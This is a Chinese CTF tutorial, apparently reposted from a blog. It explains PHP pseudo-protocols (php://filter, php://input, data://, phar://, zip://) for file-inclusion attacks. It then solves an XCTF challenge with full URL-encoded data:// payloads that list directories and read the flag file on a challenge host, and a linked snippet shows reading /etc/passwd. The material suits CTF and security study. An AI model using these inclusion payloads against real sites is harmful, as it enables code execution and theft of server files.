php伪协议分析与CTF例题讲解
本文大量转载于:https://blog.csdn.net/qq_41289254/article/details/81388343 (感谢博主)
一,php:// 访问输入输出流,有两个常用的子协议
1,php://filter 设计用来过滤筛选文件
使用方法:非php语法文件include失败,直接输出源码内容。
php://filter/resource=需要包含的文件

还有一种使用方法是:以读的形式,将需要包含的文件名转化为base64编码的方式进行读取,这样传入至include函数的文件名不会被误以为是php执行文件而执行,而是以base64编码方式显示源码
php://filter/read=convert.base64-encode/resouece=需要包含的文件

二、php://input
利用方法:将要执行的语法php代码写在post中提交,不用键与值的形式,只写代码即可


三、file:// 后跟文件目录绝对路径
file:// 与php:filter类似,访问本地文件,但是只能传入绝对路径

四、phar:// 可以查找指定压缩包内的文件
使用绝对路径与相对路径均可

五、zip:// 用法与phar类似,不过有两点要注意
1,只能传入绝对路径。
2,要用#分隔压缩包和压缩包里的内容,并且#要用url编码%23

六、data 与input 类似,都是用户可以控制传入的php代码
1,直接写入代码
data: text/plain,<?php 执行内容 ?>

2、base64编码后写入代码
data:text/plain;(注意是分号不是逗号,与前面不同)base64,编码后的php代码

注:有一点要注意的问题,base64编码后的加号和等号要手动的url编码,否则无法识别。如下图所示:

七、http协议
include中也可以传入外部链接,采用http://

关于allow_url_fopen和allow_url_include的设置和用法总结:

XCTF例题:
除去php://;使用data://伪协议的方式,首先查看根目录,打印根路径的文件有哪些
echo $_SERVER['DOCUMENT_ROOT'];

再查看根目录下有哪些文件:
http://111.200.241.244:36230/?page=data://text/plain,?page=data://text/plain,%3C?php%20print_r(scandir(%27/var/www%27));?%3E

http://111.200.241.244:36230/?page=data://text/plain,%3C?php%20$a=file_get_contents(%27fl4gisisish3r3.php%27);echo%20htmlspecialchars($a);%20?%3E
file_get_contents
file_get_contents — 将整个文件读入一个字符串
htmlspecialchars
htmlspecialchars — 将特殊字符转换为 HTML 实体输出,可获取flag
http://111.200.241.244:36230/?page=data://text/plain,%3C?php%20$a=file_get_contents(%27fl4gisisish3r3.php%27);echo%20htmlspecialchars($a);%20?%3E

php伪协议分析与CTF例题讲解的更多相关文章
- CTF 文件包含与伪协议
正巧在写代码审计的文章,无意间看到了一篇CTF的代码审计,CTF题目很好,用的姿势正如标题,文件包含和伪协议. 先放出原文链接(http://www.freebuf.com/column/150028 ...
- CTF伪协议+preg_replace()函数的代码执行
一道学习中所遇到的ctf 步骤: 我们点击题目链接,然后在页面先点击”云平台后台管理中心“ 然后url后面跟了参数page,题目提示了一个文件包含,我们试试index.php 看到了输出了ok,应该是 ...
- CTF中常用的php伪协议利用
1.file:// 作用: 用于访问文件(绝对路径.相对路径.网络路径) 示例: http://www.xx.com?file=file:///etc/passsword 2.php:// 作用:访问 ...
- NetAnalyzer笔记 之 二. 简单的协议分析
[创建时间:2015-08-27 22:15:17] NetAnalyzer下载地址 上篇我们回顾完了NetAnalyzer一些可有可无的历史,在本篇,我决定先不对NetAnalyzer做介绍,而是先 ...
- [原题复现+审计][ZJCTF 2019] WEB NiZhuanSiWei(反序列化、PHP伪协议、数组绕过)
简介 原题复现:https://github.com/CTFTraining/zjctf_2019_final_web_nizhuansiwei/ 考察知识点:反序列化.PHP伪协议.数组绕过 ...
- linux 网络协议分析---3
本章节主要介绍linxu网络模型.以及常用的网络协议分析以太网协议.IP协议.TCP协议.UDP协议 一.网络模型 TCP/IP分层模型的四个协议层分别完成以下的功能: 第一层 网络接口层 网络接口层 ...
- URI Scheme注册伪协议实现远程命令执行
Windows配置注册表注册伪协议 1.新建伪协议项 WIN+R 输入regedit 打开注册表,在注册表HKEY_CLASSES_ROOT键中新建一个项,项的名字就是你伪协议的名字,例如我注册一个c ...
- 【转】证书的应用之一 —— TCP&SSL通信实例及协议分析(下)
原文链接 前面两部分分别讲解了如何在.net程序中使用SSL实现安全通信以及SSL的通信过程,并通过抓包工具具体分析了ssl的握手过程,本文通过一个demo来模拟ssl协议,在TCP之上实现自己的安全 ...
- VNC协议分析
VNC协议分析 摘自: http://blog.csdn.net/forever_feng/article/details/4703088 简介 VNC(Virtual Network Computi ...
随机推荐
- LianLianKan HDU - 4272 状压dp
题意:长度为n(n<=1000)的栈,栈顶元素可以与下面1~5个数中相同的元素消去,问最后能都完全消去. 题解: 比如这个序列12345678910112这个位置的最远可匹配位置能到11为什么呢 ...
- 动态主席树【带修改】&& 例题 Dynamic Rankings ZOJ - 2112
参考链接:https://blog.csdn.net/WilliamSun0122/article/details/77885781 一.动态主席树介绍 动态主席树与静态主席树的不同在于:静态主席树不 ...
- 国产网络测试仪MiniSMB - 双击就可以直接编辑数据报文字段(如IP地址)
国产网络测试仪MiniSMB(www.minismb.com)是复刻smartbits的IP网络性能测试工具,是一款专门用于测试智能路由器,网络交换机的性能和稳定性的软硬件相结合的工具.可以通过此以太 ...
- k8s-2-集成apollo配置中心
主题: 在k8s中集成Apollo配置中心 架构图 一.配置中心概述 配置的几种方式 本课讲得是基于配置中心数据库实现 配置管理的现状 常见的配置中心 主讲:k8s configmap,apollo ...
- 鸟哥的linux私房菜——第十二章学习(Shell Scripts)
第十二章 Shell Scripts 1.0).什么是shell scripts? script 是"脚本.剧本"的意思.整句话是说, shell script 是针对 shel ...
- 牛客网多校第4场 J Hash Function 【思维+并查集建边】
题目链接:戳这里 学习博客:戳这里 题意: 有n个空位,给一个数x,如果x%n位数空的,就把x放上去,如果不是空的,就看(x+1)%n是不是空的. 现在给一个已经放过数的状态,求放数字的顺序.(要求字 ...
- 左神算法第五节课:认识哈希函数和哈希表,设计RandomPool结构,布隆过滤器,一致性哈希,岛问题,并查集结构
认识哈希函数和哈希表 MD5Hash值的返回范围:0~9+a~f,是16位,故范围是0~16^16(2^64)-1, [Hash函数],又叫散列函数: Hash的性质: 1) 输入域无穷大: 2) ...
- Steam 钓鱼模拟器
Steam 钓鱼模拟器 Fishing Planet Fishing Planet 是一个独特和高度现实的在线第一人称多人钓鱼模拟器,由狂热的钓鱼爱好者钓鱼给你带来实际钓鱼充分刺激开发! 选择你的诱饵 ...
- making a resizable div effect in vanilla js
making a resizable div effect in vanilla js scroll image compare <!DOCTYPE html> <html lang ...
- shit LeetCode interview Question
shit LeetCode interview Question https://leetcode.com/interview/1/ 有点晕,啥意思,没太明白,到底是要按什么排序呀? 去掉 标识符 不 ...